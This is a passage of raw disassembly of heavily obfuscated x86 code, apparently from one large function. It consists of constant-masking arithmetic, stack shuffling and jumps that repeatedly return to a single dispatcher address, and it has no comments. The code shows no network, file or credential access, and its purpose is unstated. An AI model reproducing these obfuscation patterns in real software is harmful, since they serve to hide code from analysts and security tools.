lodsb push ecx mov cl, 4Ch add cl, 0FFh jmp loc_58CF24 ; --------------------------------------------------------------------------- loc_589409: ; CODE XREF: sub_57DD3A+FC56j sub esp, 4 mov [esp+0A6h+var_A8+2], esi mov esi, 2DAB1B79h add [esp+0A6h+var_A4+2], esi jmp loc_585DD4 ; --------------------------------------------------------------------------- loc_58941D: ; CODE XREF: sub_57DD3A+4AEAj mov edx, esp push ebp push ebx push esi jmp loc_582F52 ; --------------------------------------------------------------------------- loc_589427: ; CODE XREF: sub_57DD3A+D675j add edx, 1F77F34h pop ebx xchg edx, [esp+0C2h+var_C4+2] pop esp jmp loc_584483 ; --------------------------------------------------------------------------- loc_589437: ; CODE XREF: sub_57DD3A+5187j add eax, esi push ebx mov ebx, 6CB87C3Eh sub eax, 11576F49h sub eax, ebx jmp loc_58354D ; --------------------------------------------------------------------------- loc_58944B: ; CODE XREF: sub_57DD3A+76CBj mov al, dh mov ch, al pop eax jmp loc_581FB0 ; --------------------------------------------------------------------------- loc_589455: ; CODE XREF: sub_57DD3A+5AFAj pop eax add ecx, ebx sub ecx, 26C94511h jmp loc_5855B1 ; --------------------------------------------------------------------------- loc_589463: ; CODE XREF: sub_57DD3A+8B80j sub esi, 4 jmp loc_5870BC ; --------------------------------------------------------------------------- loc_58946E: ; CODE XREF: sub_57DD3A+45E9j add ebp, edx pop edx push 41A4h mov [esp+6Eh+var_70+2], edx mov edx, 27242AD2h jmp loc_581E12 ; --------------------------------------------------------------------------- loc_589483: ; CODE XREF: sub_57DD3A+E211j xchg edx, [esp+6Eh+var_70+2] pop esp or word ptr [esp+6Ah+var_6C+2], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+6Eh+var_70+2] sub esp, 4 mov [esp+72h+var_74+2], edi push 1B83h push esp pop [esp+7Ah+var_7C+2] add [esp+76h+var_78+2], 4 pop edi push esi push edx mov edx, 4 mov esi, edx pop edx add edi, 16093B11h add edi, esi jmp loc_585990 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5894CE: ; CODE XREF: sub_57DD3A+AFBBj push edi push [esp+62h+var_60+2] pop edi pop [esp+62h+var_64+2] mov esp, [esp+5Eh+var_60+2] mov ax, word ptr [esp+5Eh+var_60+2] jmp loc_58662E ; --------------------------------------------------------------------------- loc_5894E3: ; CODE XREF: sub_57DD3A+886Cj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5894E8: ; CODE XREF: sub_57DD3A+C3AFj add ebp, 4 jmp loc_587E93 ; --------------------------------------------------------------------------- loc_5894F0: ; CODE XREF: sub_57DD3A+F04Ej sub esp, 2 mov word ptr [esp+0CEh+var_D0+2], ax push bp mov bp, 4583h mov ax, bp pop bp sub bx, 5BF6h sub bx, ax add bx, 5BF6h mov ax, word ptr [esp+0CEh+var_D0+2] jmp loc_584113 ; --------------------------------------------------------------------------- loc_589518: ; CODE XREF: sub_57DD3A+B02Ej xchg edi, ebp inc ebp xor ebp, 8CC2DF29h xor edx, ebp pop ebp jmp loc_583D7D ; --------------------------------------------------------------------------- loc_589529: ; CODE XREF: sub_57DD3A+815Fj xor ebp, [esp+5Ch+var_5C] jmp loc_58B069 ; --------------------------------------------------------------------------- loc_589531: ; CODE XREF: sub_57DD3A+86C8j xor ebp, 28494057h add ebx, ebp jmp loc_5825B5 ; --------------------------------------------------------------------------- loc_58953E: ; CODE XREF: sub_57DD3A+7866j sub esi, 22E06188h add esi, edx jmp loc_586536 ; --------------------------------------------------------------------------- lodsd jmp loc_585A9E ; --------------------------------------------------------------------------- loc_589551: ; CODE XREF: sub_57DD3A+A539j push 28931E74h pop esi neg esi sub esi, 0FFFFFFFFh jmp loc_581A54 ; --------------------------------------------------------------------------- loc_589561: ; CODE XREF: sub_57DD3A+DE9Ej neg edx jmp loc_588F10 ; --------------------------------------------------------------------------- loc_589568: ; CODE XREF: sub_57DD3A+CBBCj pop esp not edx shl edx, 3 jmp loc_58822F ; --------------------------------------------------------------------------- loc_589573: ; CODE XREF: sub_57DD3A+4BF4j add esi, ecx pop ecx add esi, 2 xchg esi, [esp+9Ah+var_9C+2] pop esp rol [esp+96h+var_98+2], cl pushf jmp loc_5890CD ; --------------------------------------------------------------------------- loc_589589: ; CODE XREF: sub_57DD3A+9DE0j shl al, 2 not al push ebx mov bl, 1 sub al, bl pop ebx jmp loc_582B12 ; --------------------------------------------------------------------------- loc_589599: ; CODE XREF: sub_57DD3A+86B6j pop esp jmp loc_587D9F ; --------------------------------------------------------------------------- loc_58959F: ; CODE XREF: sub_57DD3A+6785j movzx eax, al jmp loc_58BAAD ; --------------------------------------------------------------------------- loc_5895A7: ; CODE XREF: sub_57DD3A+4D94j pop edx push esi mov esi, 281565DAh sub edx, 50385E85h jmp loc_587BCD ; --------------------------------------------------------------------------- loc_5895B9: ; CODE XREF: sub_57DD3A+10122j pop bx jmp loc_5855CC ; --------------------------------------------------------------------------- loc_5895C0: ; CODE XREF: sub_57DD3A+4A08j shr cl, 1 shl cl, 2 dec cl neg cl xchg ah, cl jmp loc_58D2D6 ; --------------------------------------------------------------------------- loc_5895D0: ; CODE XREF: sub_57DD3A+DD22j or dh, 0FEh add dh, 1 jmp loc_588E91 ; --------------------------------------------------------------------------- loc_5895DB: ; CODE XREF: sub_57DD3A+BD7Aj pop edi pop edi jmp loc_583F3A ; --------------------------------------------------------------------------- loc_5895E2: ; CODE XREF: sub_57DD3A+CB19j add esp, 4 jmp loc_581C2A ; --------------------------------------------------------------------------- loc_5895EA: ; CODE XREF: sub_57DD3A+D71Cj xor edi, ebx pop ebx shr edi, 2 shl edi, 1 neg edi shr edi, 6 sub edi, 0A1E59EC4h xor edx, edi pop edi xor eax, edx mov edx, [esp+8Ah+var_8C+2] push eax push 754Fh mov [esp+92h+var_94+2], esp add [esp+92h+var_94+2], 4 pop eax add eax, 4 push ebx jmp loc_582358 ; --------------------------------------------------------------------------- loc_58961E: ; CODE XREF: sub_57DD3A+3D94j xor eax, [esp+62h+var_64+2] pop esp shr eax, 18h xor eax, ecx push eax xor [esp+62h+var_64+2], eax xor eax, [esp+62h+var_64+2] jmp loc_587895 ; --------------------------------------------------------------------------- loc_589633: ; CODE XREF: sub_57DD3A+102C5j mov ecx, [esp+62h+var_64+2] add esp, 4 xor ebp, 77480584h xor edi, ebp pop ebp sub edi, 0FFFFFFFFh sub edi, 0FC6A7BE3h jmp loc_58984F ; --------------------------------------------------------------------------- loc_589656: ; CODE XREF: sub_57DD3A+6091j pop eax add esp, 4 add ebp, 2ED57AECh add ebp, esi push ebx mov ebx, 2ED57AECh sub ebp, ebx pop ebx mov esi, [esp+0D0h+var_D0] add esp, 4 xchg ebp, [esp+0CCh+var_CC] mov esp, [esp+0CCh+var_CC] mul cl movzx cx, ah push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0D0h+var_D0] pop esp mov [esp+0CCh+var_CC], ebp jmp loc_58225A ; --------------------------------------------------------------------------- loc_589698: ; CODE XREF: sub_57DD3A+47E9j sub cl, 64h sub bl, cl pop ecx sub bl, 8Ah movzx eax, al lea eax, [edi+eax*4] push edx sub esp, 4 push esp pop [esp+0B0h+var_B0] jmp loc_585795 ; --------------------------------------------------------------------------- loc_5896B7: ; CODE XREF: sub_57DD3A+FC28j sub ebx, 420A184Dh sub esp, 4 mov [esp+0B0h+var_B0], edi push 3F77h mov [esp+0B4h+var_B4], eax mov edi, [esp+0B4h+var_B4] jmp loc_583343 ; --------------------------------------------------------------------------- loc_5896D3: ; CODE XREF: sub_57DD3A+97F6j mov ch, 40h mov al, ch pop ecx sub bl, 8Ah jmp loc_58D7B5 ; --------------------------------------------------------------------------- loc_5896E0: ; CODE XREF: sub_57DD3A+5C04j xchg eax, [esp+82h+var_84+2] jmp loc_588AEF ; --------------------------------------------------------------------------- loc_5896E8: ; CODE XREF: sub_57DD3A+B19Dj add eax, ebx pop ebx jmp loc_5881C1 ; --------------------------------------------------------------------------- loc_5896F0: ; CODE XREF: sub_57DD3A+812Ej xchg eax, ebp jmp loc_58DF21 ; --------------------------------------------------------------------------- loc_5896F6: ; CODE XREF: sub_57DD3A+AD5Fj pop [esp+0A4h+var_A4] pop esp jmp loc_58AB88 ; --------------------------------------------------------------------------- loc_5896FF: ; CODE XREF: sub_57DD3A+8540j xchg eax, [esp+9Ah+var_9C+2] jmp loc_586500 ; --------------------------------------------------------------------------- loc_589707: ; CODE XREF: sub_57DD3A+D762j add esp, 4 add ecx, 4 push esi mov esi, 1E3F25DBh jmp loc_58A35F ; --------------------------------------------------------------------------- loc_58971E: ; CODE XREF: sub_57DD3A+F6A9j mov [esp+9Ah+var_9C+2], ecx mov ecx, 70573630h add ebx, 338909E3h add ebx, ecx sub ebx, 338909E3h jmp loc_586CEF ; --------------------------------------------------------------------------- loc_589739: ; CODE XREF: sub_57DD3A+784Fj sub eax, 4 jmp loc_58C659 ; --------------------------------------------------------------------------- loc_589743: ; CODE XREF: sub_57DD3A+40F6j mov [esp+86h+var_88+2], edx mov edx, 4 add eax, edx mov edx, [esp+86h+var_88+2] add esp, 4 push ebx mov ebx, 4 sub eax, 7703251Ch add eax, ebx add eax, 7703251Ch push [esp+86h+var_88+2] pop ebx add esp, 4 xchg eax, [esp+82h+var_84+2] mov esp, [esp+82h+var_84+2] imul ecx push 0C3Bh mov [esp+86h+var_88+2], ebp sub esp, 4 push esp pop [esp+8Eh+var_90+2] jmp loc_5839E6 ; --------------------------------------------------------------------------- loc_58978E: ; CODE XREF: sub_57DD3A+6A55j push [esp+0CCh+var_C8] pop edi pop [esp+0CCh+var_CC] pop esp mov ax, word ptr [esp+0C4h+var_C4] push eax jmp loc_5886F9 ; --------------------------------------------------------------------------- loc_5897A1: ; CODE XREF: sub_57DD3A+9CCDj or ecx, 7305033Eh not ecx shl ecx, 1 jmp loc_586A17 ; --------------------------------------------------------------------------- loc_5897B0: ; CODE XREF: sub_57DD3A+7EA1j xchg ecx, [esp+7Ah+var_7C+2] pop esp or eax, eax jnz loc_587FF3 push 4921h mov [esp+7Ah+var_7C+2], ebx mov ebx, 1 mov edx, ebx push [esp+7Ah+var_7C+2] mov ebx, [esp+7Eh+var_80+2] add esp, 4 push ecx push 17E6h mov [esp+82h+var_84+2], esp push ecx mov ecx, 4 add [esp+86h+var_84+2], ecx jmp loc_58AECE ; --------------------------------------------------------------------------- loc_5897EC: ; CODE XREF: sub_57DD3A+DB83j dec bh dec bh sub bh, 0DBh sub ah, bh pop ebx xor ah, 9Ch add bl, ah pop eax pop edx jmp loc_581C58 ; --------------------------------------------------------------------------- loc_589802: ; CODE XREF: sub_57DD3A+3CFEj add edx, 5B5E172Fh shr edx, 3 sub edx, 0D248F577h sub esi, edx pop edx shl esi, 5 sub esi, 92B53B92h xor esi, ebp jmp loc_58BD1A ; --------------------------------------------------------------------------- loc_589824: ; CODE XREF: sub_57DD3A+7104j sub esp, 4 mov [esp+0D8h+var_D8], esi push 7290h push esp pop [esp+0E0h+var_E0] jmp loc_58B3D7 ; --------------------------------------------------------------------------- loc_58983B: ; CODE XREF: sub_57DD3A+76D3j add ebx, 0F7C9B0FCh mov esi, ebx jmp loc_58AFD0 ; --------------------------------------------------------------------------- loc_589848: ; CODE XREF: sub_57DD3A+59CFj add esi, edi jmp loc_584E8A ; --------------------------------------------------------------------------- loc_58984F: ; CODE XREF: sub_57DD3A+B917j add edx, edi pop edi add edx, 4 xchg edx, [esp+56h+var_58+2] pop esp movzx ecx, ax push 5E6Eh mov [esp+56h+var_58+2], ecx jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58986C: ; CODE XREF: sub_57DD3A+52EAj xchg esi, [esp+82h+var_84+2] mov esp, [esp+82h+var_84+2] push [esp+82h+var_84+2] pop edx push 7436h mov [esp+86h+var_88+2], edi mov edi, esp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+8Ah+var_8C+2] pop esp mov [esp+86h+var_88+2], ebx sub esp, 4 mov [esp+8Ah+var_8C+2], edi push 4 jmp loc_58C04F ; --------------------------------------------------------------------------- loc_5898A6: ; CODE XREF: sub_57DD3A+ABA9j mov esi, 6EA37822h shr esi, 3 dec esi xor esi, 0DD46F02h sub edx, esi pop esi shl edx, 8 or edx, 0D735A2Bh add edx, 0C24D24BCh sub eax, edx pop edx sub eax, 55210640h sub esp, 4 mov [esp+7Eh+var_80+2], edi mov edi, 50F83CD1h add edi, 0FF6BF17h sub esp, 4 mov [esp+82h+var_84+2], esi mov esi, 2C5D4903h push esi mov esi, 745366D5h add eax, esi pop esi sub eax, esi sub eax, 745366D5h pop esi jmp loc_5891A1 ; --------------------------------------------------------------------------- loc_589904: ; CODE XREF: sub_57DD3A+101F6j mov esi, esp jmp loc_58253D ; --------------------------------------------------------------------------- loc_58990B: ; CODE XREF: sub_57DD3A+5EE4j pop ebp sub eax, 4 xchg eax, [esp+76h+var_78+2] pop esp mov [esp+72h+var_74+2], eax mov eax, 4 add esi, 2B19125Ch add esi, eax sub esi, 2B19125Ch mov eax, [esp+72h+var_74+2] add esp, 4 push edi mov edi, 2 add esi, edi pop edi xor esi, [esp+6Eh+var_70+2] xor [esp+6Eh+var_70+2], esi xor esi, [esp+6Eh+var_70+2] mov esp, [esp+6Eh+var_70+2] mov ax, word ptr [esp+6Eh+var_70+2] push edi push esp mov edi, [esp+76h+var_78+2] add esp, 4 sub esp, 4 mov [esp+76h+var_78+2], esi jmp loc_585CE8 ; --------------------------------------------------------------------------- mov eax, [esp+76h+var_78+2] push 13FAh jmp loc_58AE93 ; --------------------------------------------------------------------------- loc_589970: ; CODE XREF: sub_57DD3A+7DDFj push ecx mov ecx, 619D6F6Fh add ecx, 57BB4918h not ecx not ecx jmp loc_583259 ; --------------------------------------------------------------------------- loc_589985: ; CODE XREF: sub_57DD3A+FE61j push eax mov eax, 4 add ecx, eax pop eax push ebp push ecx mov ecx, 7FDB015Ch mov ebp, ecx pop ecx xor ebp, 3AA2514Ch shl ebp, 5 push edx mov edx, 0AF2A0204h xor ebp, edx pop edx jmp loc_585BD8 ; --------------------------------------------------------------------------- loc_5899AF: ; CODE XREF: sub_57DD3A+C240j push 46F3h mov [esp+6Ch+var_6C], ecx jmp loc_58CF1A ; --------------------------------------------------------------------------- push [esp+6Ch+var_6C] mov eax, [esp+70h+var_70] push edx mov edx, esp add edx, 4 jmp loc_582885 ; --------------------------------------------------------------------------- loc_5899D0: ; CODE XREF: sub_57DD3A+5866j sub esi, eax pop eax sub esi, 7691ECA0h add ebx, esi pop esi add eax, 25DF77D7h push ecx mov ecx, 6717FF8h sub eax, ecx pop ecx add eax, ebx add eax, 6717FF8h jmp loc_586E08 ; --------------------------------------------------------------------------- loc_5899F6: ; CODE XREF: sub_57DD3A+AB22j inc edx inc edx sub edx, 0E5C2140Ch mov ebx, edx pop edx shr ebx, 3 add ebx, 29317807h jmp loc_58A499 ; --------------------------------------------------------------------------- loc_589A0F: ; CODE XREF: sub_57DD3A+E5EEj mov [esp+88h+var_88], ebx pop ebp jmp loc_58B3E2 ; --------------------------------------------------------------------------- loc_589A18: ; CODE XREF: sub_57DD3A+7D5Fj mov esp, [esp+6Eh+var_70+2] shl [esp+6Eh+var_70+2], cl jmp loc_58D8C9 ; --------------------------------------------------------------------------- loc_589A23: ; CODE XREF: sub_57DD3A+C091j push [esp+6Eh+var_6C+2] jmp loc_582ED1 ; --------------------------------------------------------------------------- loc_589A2C: ; CODE XREF: sub_57DD3A+D96Dj add eax, 2 xchg eax, [esp+72h+var_74+2] pop esp test cl, al pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_589A3B: ; CODE XREF: sub_57DD3A+B3DBj sub [esp+0CCh+var_C8], ebp mov ebp, [esp+0CCh+var_CC] add esp, 4 pop eax jmp loc_587A85 ; --------------------------------------------------------------------------- loc_589A4E: ; CODE XREF: sub_57DD3A+B54Fj xchg eax, edx xchg eax, ebx not ebx xchg eax, ebx xchg eax, edx push ecx push edx pop ecx mov edx, [esp+0D0h+var_D0] add esp, 4 xor ecx, 0C7C5EB41h sub edi, 235A4D46h sub edi, ecx add edi, 235A4D46h mov ecx, [esp+0CCh+var_CC] add esp, 4 retn ; --------------------------------------------------------------------------- jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_589A80: ; CODE XREF: sub_57DD3A+9126j push edi mov edi, 4 add ecx, edi pop edi add ecx, 4 xor ecx, [esp+84h+var_84] jmp loc_582084 ; --------------------------------------------------------------------------- loc_589A94: ; CODE XREF: sub_57DD3A+E32Ej sub esp, 4 mov [esp+88h+var_88], ecx mov ecx, 88C39DAh jmp loc_588159 ; --------------------------------------------------------------------------- loc_589AA4: ; CODE XREF: sub_57DD3A+A8FAj xchg edx, [esp+60h+var_60] pop esp sar word ptr [esp+5Ch+var_5C], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_589AB2: ; CODE XREF: sub_57DD3A+8463j sub ebx, edi jmp loc_5895DB ; --------------------------------------------------------------------------- loc_589AB9: ; CODE XREF: sub_57DD3A+D445j mov ebp, [esp+76h+var_78+2] add esp, 4 jmp loc_5863ED ; --------------------------------------------------------------------------- loc_589AC4: ; CODE XREF: sub_57DD3A+6B7Aj mov dh, 66h push ecx mov cl, 0ADh jmp loc_58C32D ; --------------------------------------------------------------------------- loc_589ACE: ; CODE XREF: sub_57DD3A+8804j push [esp+78h+var_74] mov esi, [esp+7Ch+var_7C] add esp, 4 pop [esp+78h+var_78] pop esp push edi jmp loc_588C50 ; --------------------------------------------------------------------------- loc_589AE2: ; CODE XREF: sub_57DD3A+DC83j pop esi xor eax, 5E761A39h or eax, 20351D6Ah sub eax, 31771F7Ah add ecx, 5659670Dh add ecx, eax sub ecx, 5659670Dh pop eax push esi mov esi, 4 sub esp, 4 mov [esp+74h+var_74], esi mov esi, 473E2CE5h and esi, 426167EFh xor esi, 4EC807BDh xor esi, 3A1D79FBh sub ecx, esi jmp loc_586DCC ; --------------------------------------------------------------------------- loc_589B2B: ; CODE XREF: sub_57DD3A+C0A7j push esi mov esi, 0DED4D47h sub [esp+78h+var_70], 303C56FDh add [esp+78h+var_70], esi sub esp, 4 jmp loc_5890A5 ; --------------------------------------------------------------------------- loc_589B45: ; CODE XREF: sub_57DD3A+7160j sub ecx, 738A7B50h pop ebp xchg ecx, [esp+6Eh+var_70+2] pop esp push edi push ecx mov ecx, 6CCE6552h xor ecx, 6CCE6556h mov edi, ecx jmp loc_58216A ; --------------------------------------------------------------------------- loc_589B64: ; CODE XREF: sub_57DD3A+423Cj add esp, 4 jmp loc_585C39 ; --------------------------------------------------------------------------- loc_589B6F: ; CODE XREF: sub_57DD3A+CE40j add esi, edx pop edx xchg esi, [esp+72h+var_74+2] pop esp jmp loc_581B6C ; --------------------------------------------------------------------------- loc_589B7B: ; CODE XREF: sub_57DD3A+84D3j mov dl, 95h add dl, 0B5h sub dl, ch push ecx mov ch, 37h neg ch dec ch jmp loc_583C78 ; --------------------------------------------------------------------------- push [esp+94h+var_94] pop eax push edi push esp pop edi jmp loc_58ACD4 ; --------------------------------------------------------------------------- loc_589B9A: ; CODE XREF: sub_57DD3A+5D8Aj mov esp, [esp+80h+var_80] mov [esp+80h+var_80], edi push esp jmp loc_5853D3 ; --------------------------------------------------------------------------- lodsd push ecx jmp loc_58830F ; --------------------------------------------------------------------------- loc_589BAD: ; CODE XREF: sub_57DD3A+B083j add edi, edx jmp loc_587683 ; --------------------------------------------------------------------------- loc_589BB4: ; CODE XREF: sub_57DD3A+A9E9j add ebp, 1F7EE90Eh sub ebp, 12F1715Eh xor ebp, 43B54548h add ebp, 2C5672C7h inc ebp jmp loc_58AAC2 ; --------------------------------------------------------------------------- loc_589BD2: ; CODE XREF: sub_57DD3A+ACCAj push ebp mov ebp, 7FE1321Ch xor ebp, 304559C7h add ebp, 0D2BCFD99h xor eax, ebp jmp loc_58370E ; --------------------------------------------------------------------------- mov ax, word ptr [esp+6Eh+var_70+2] push 4C8Bh mov [esp+72h+var_74+2], ecx push esp push [esp+76h+var_78+2] jmp loc_586FC6 ; --------------------------------------------------------------------------- loc_589C00: ; CODE XREF: sub_57DD3A+E608j or esi, eax pop eax push ebx mov ebx, 0A47A103Ah sub esi, 7A4E7EAFh sub esi, ebx jmp loc_582264 ; --------------------------------------------------------------------------- loc_589C16: ; CODE XREF: sub_57DD3A+9A96j push ecx mov ecx, 595E45E1h xor [esp+88h+var_84], ecx mov ecx, [esp+88h+var_88] add esp, 4 mov edi, [esp+84h+var_84] jmp loc_583F83 ; --------------------------------------------------------------------------- loc_589C31: ; CODE XREF: sub_57DD3A+6409j pop eax push 0C21h mov [esp+8Ch+var_8C], ebx mov ebx, 7F8B73A1h jmp loc_5861D7 ; --------------------------------------------------------------------------- loc_589C44: ; CODE XREF: sub_57DD3A+7872j mov esi, esp add esi, 4 jmp loc_584658 ; --------------------------------------------------------------------------- loc_589C51: ; CODE XREF: sub_57DD3A+6ECDj sub esp, 4 push esp jmp loc_58B6E6 ; --------------------------------------------------------------------------- loc_589C5A: ; CODE XREF: sub_57DD3A+911Cj add edx, 4 xchg edx, [esp+5Eh+var_60+2] pop esp jmp loc_58731F ; --------------------------------------------------------------------------- loc_589C69: ; CODE XREF: sub_57DD3A+545Aj add esp, 4 add bl, al push eax push ecx jmp loc_582D68 ; --------------------------------------------------------------------------- loc_589C78: ; CODE XREF: sub_57DD3A+D1C0j mov [esp+0A4h+var_A4], esi not [esp+0A4h+var_A4] jmp loc_58D299 ; --------------------------------------------------------------------------- loc_589C83: ; CODE XREF: sub_57DD3A+4A9Aj pop bx jmp loc_5878AF ; --------------------------------------------------------------------------- loc_589C8A: ; CODE XREF: sub_57DD3A+CD6Dj xchg ecx, [esp+0AAh+var_AC+2] pop esp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0AAh+var_AC+2] pop esp push 381Fh mov [esp+0AAh+var_AC+2], ebx mov ebx, 104E4BBDh dec ebx push ecx mov ecx, 30010B17h sub ebx, 0F7621CEh sub ebx, ecx add ebx, 0F7621CEh pop ecx jmp loc_581B3F ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0AAh+var_AC+2] jmp loc_5861A2 ; --------------------------------------------------------------------------- loc_589CD2: ; CODE XREF: sub_57DD3A+F173j push edi mov edi, 1CCE0E45h dec edi jmp loc_585E12 ; --------------------------------------------------------------------------- loc_589CDE: ; CODE XREF: sub_57DD3A+ED54j sub eax, 22D90686h jmp loc_587A38 ; --------------------------------------------------------------------------- loc_589CE8: ; CODE XREF: sub_57DD3A+FA42j pop esp push [esp+0AAh+var_AC+2] pop eax push edx mov edx, esp push ecx mov ecx, 18364498h push esi jmp loc_585FD1 ; --------------------------------------------------------------------------- loc_589CFC: ; CODE XREF: sub_57DD3A+6995j add esp, 4 add esi, 4 sub esp, 4 mov [esp+0B8h+var_B8], ebp jmp loc_584571 ; --------------------------------------------------------------------------- loc_589D13: ; CODE XREF: sub_57DD3A+75BFj mov ebx, [esp+76h+var_78+2] jmp loc_586923 ; --------------------------------------------------------------------------- loc_589D1B: ; CODE XREF: sub_57DD3A+C2B0j mov ecx, 257D390Fh jmp loc_584BEC ; --------------------------------------------------------------------------- loc_589D25: ; CODE XREF: sub_57DD3A+6A9Fj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_589D2A: ; CODE XREF: sub_57DD3A+D09Fj mov cx, word ptr [esp+0CAh+var_CC+2] push ecx push esp mov ecx, [esp+0D2h+var_D4+2] add esp, 4 add ecx, 4 jmp loc_584BCB ; --------------------------------------------------------------------------- loc_589D44: ; CODE XREF: sub_57DD3A+4271j mov edi, [esp+7Ah+var_7C+2] push 4783h mov [esp+7Eh+var_80+2], edi push esp pop edi add edi, 4 add edi, 4 xor edi, [esp+7Eh+var_80+2] xor [esp+7Eh+var_80+2], edi xor edi, [esp+7Eh+var_80+2] mov esp, [esp+7Eh+var_80+2] jmp loc_58C8F7 ; --------------------------------------------------------------------------- loc_589D6B: ; CODE XREF: sub_57DD3A+9A63j and eax, ebp jmp loc_589EC3 ; --------------------------------------------------------------------------- loc_589D72: ; CODE XREF: sub_57DD3A+8DCCj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_589D77: ; CODE XREF: sub_57DD3A+FA91j mov [esp+72h+var_74+2], ebx mov ebx, 4DF55D54h add ebp, 55F44A50h sub ebp, ebx jmp loc_58AA52 ; --------------------------------------------------------------------------- loc_589D8C: ; CODE XREF: sub_57DD3A+60B9j add esp, 4 xor edx, [esp+0E0h+var_E0] xor [esp+0E0h+var_E0], edx xor edx, [esp+0E0h+var_E0] mov esp, [esp+0E0h+var_E0] mov [esp+0E0h+var_E0], eax pop dword ptr [edi+40h] push [esp+0DCh+var_DC] mov eax, [esp+0E0h+var_E0] push edi mov edi, esp sub esp, 4 mov [esp+0E8h+var_E8], ebp push esi mov esi, 463B39A3h mov ebp, 5FD68C2Ah jmp loc_58386F ; --------------------------------------------------------------------------- loc_589DC0: ; CODE XREF: sub_57DD3A+DADFj pop esi add esi, 4 sub esi, 4 push esi jmp loc_589A23 ; --------------------------------------------------------------------------- loc_589DD0: ; CODE XREF: sub_57DD3A+8848j pop ecx add edx, 1 push edi push ebx jmp loc_58D4B6 ; --------------------------------------------------------------------------- loc_589DDB: ; CODE XREF: sub_57DD3A+FB8Aj xor eax, 0EB02A87h pop ecx jmp loc_589B2B ; --------------------------------------------------------------------------- loc_589DE6: ; CODE XREF: sub_57DD3A+6B90j sub edi, 1F0272A2h sub edi, 481B4087h and edi, 34FB2285h push eax mov eax, 4802281h sub edi, eax pop eax jmp loc_5868B7 ; --------------------------------------------------------------------------- loc_589E06: ; CODE XREF: sub_57DD3A+F731j inc ecx dec ecx push edi jmp loc_586740 ; --------------------------------------------------------------------------- loc_589E0E: ; CODE XREF: sub_57DD3A+F95Ej push eax mov eax, esp jmp loc_588324 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+98h+var_98] push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp+9Ch+var_9C] xor [esp+9Ch+var_9C], ebx xor ebx, [esp+9Ch+var_9C] pop esp mov [esp+98h+var_98], eax push esp jmp loc_58A9A5 ; --------------------------------------------------------------------------- loc_589E3C: ; CODE XREF: sub_57DD3A+9BA7j mov [esp+0ACh+var_AC], esp add [esp+0ACh+var_AC], 4 mov esi, [esp+0ACh+var_AC] add esp, 4 add esi, 4 jmp loc_58578F ; --------------------------------------------------------------------------- loc_589E54: ; CODE XREF: sub_57DD3A+FAD6j push edi mov edi, 75BC3874h and edi, 36805548h xor edi, 0ADC6DC5h not edi jmp loc_58CBAC ; --------------------------------------------------------------------------- loc_589E6D: ; CODE XREF: sub_57DD3A+8899j pop [esp+0CEh+var_D0+2] mov esp, [esp+0CAh+var_CC+2] push dword ptr [eax] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_589E7A: ; CODE XREF: sub_57DD3A+ADC1j mov [esp+90h+var_90], esp add [esp+90h+var_90], 4 push [esp+90h+var_90] pop eax push ebx jmp loc_5828F6 ; --------------------------------------------------------------------------- loc_589E8E: ; CODE XREF: sub_57DD3A+DFD3j xor edi, 0EC348546h sub eax, edi mov edi, [esp+94h+var_94] push edx jmp loc_584677 ; --------------------------------------------------------------------------- loc_589E9F: ; CODE XREF: sub_57DD3A+8030j sub al, 72h add al, dl jmp loc_582406 ; --------------------------------------------------------------------------- loc_589EA8: ; CODE XREF: sub_57DD3A+5592j add bh, 16h sub bh, dh sub bh, 16h jmp loc_58B164 ; --------------------------------------------------------------------------- loc_589EB5: ; CODE XREF: sub_57DD3A+585Cj push 0 sub [esp+8Ch+var_8C], ecx pop ecx jmp loc_588BEE ; --------------------------------------------------------------------------- loc_589EC3: ; CODE XREF: sub_57DD3A+C033j mov ebp, [esp+82h+var_84+2] push 3AFBh mov [esp+86h+var_88+2], ecx push esp push [esp+8Ah+var_8C+2] pop ecx add esp, 4 jmp loc_58CA2E ; --------------------------------------------------------------------------- loc_589EDE: ; CODE XREF: sub_57DD3A+5830j neg edx add edx, 35D3C63h jmp loc_584BAB ; --------------------------------------------------------------------------- loc_589EEB: ; CODE XREF: sub_57DD3A+3EEBj push 0DE0h mov [esp+80h+var_80], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp+80h+var_80] xor [esp+80h+var_80], ecx xor ecx, [esp+80h+var_80] pop esp push ecx mov ecx, esp add ecx, 4 jmp loc_583767 ; --------------------------------------------------------------------------- loc_589F16: ; CODE XREF: sub_57DD3A+D47Dj add ecx, ebp pop ebp xchg ecx, [esp+7Ch+var_7C] pop esp push edx mov dl, bh push ecx push 78Bh mov [esp+84h+var_84], eax mov ah, dl jmp loc_58B954 ; --------------------------------------------------------------------------- loc_589F30: ; CODE XREF: sub_57DD3A+A2CDj push 4D10h mov [esp+58h+var_58], esp add [esp+58h+var_58], 4 pop ecx push esi mov esi, 46126764h add esi, 0B9ED98A0h jmp loc_584910 ; --------------------------------------------------------------------------- loc_589F4E: ; CODE XREF: sub_57DD3A+4E51j pop esp push 1ADCh mov [esp+54h+var_54], ecx mov ecx, esp push 7488h mov [esp+58h+var_58], eax jmp loc_584ECC ; --------------------------------------------------------------------------- loc_589F66: ; CODE XREF: sub_57DD3A+93DFj add edi, 2F16FF2h xor edi, 5BFAC65Fh jmp loc_5836D3 ; --------------------------------------------------------------------------- loc_589F77: ; CODE XREF: sub_57DD3A+DC64j mov esp, [esp+0C8h+var_C8] jmp loc_5899AF ; --------------------------------------------------------------------------- loc_589F7F: ; CODE XREF: sub_57DD3A+6B18j add esp, 4 add esp, 4 push edx jmp loc_586437 ; --------------------------------------------------------------------------- loc_589F91: ; CODE XREF: sub_57DD3A+69BEj 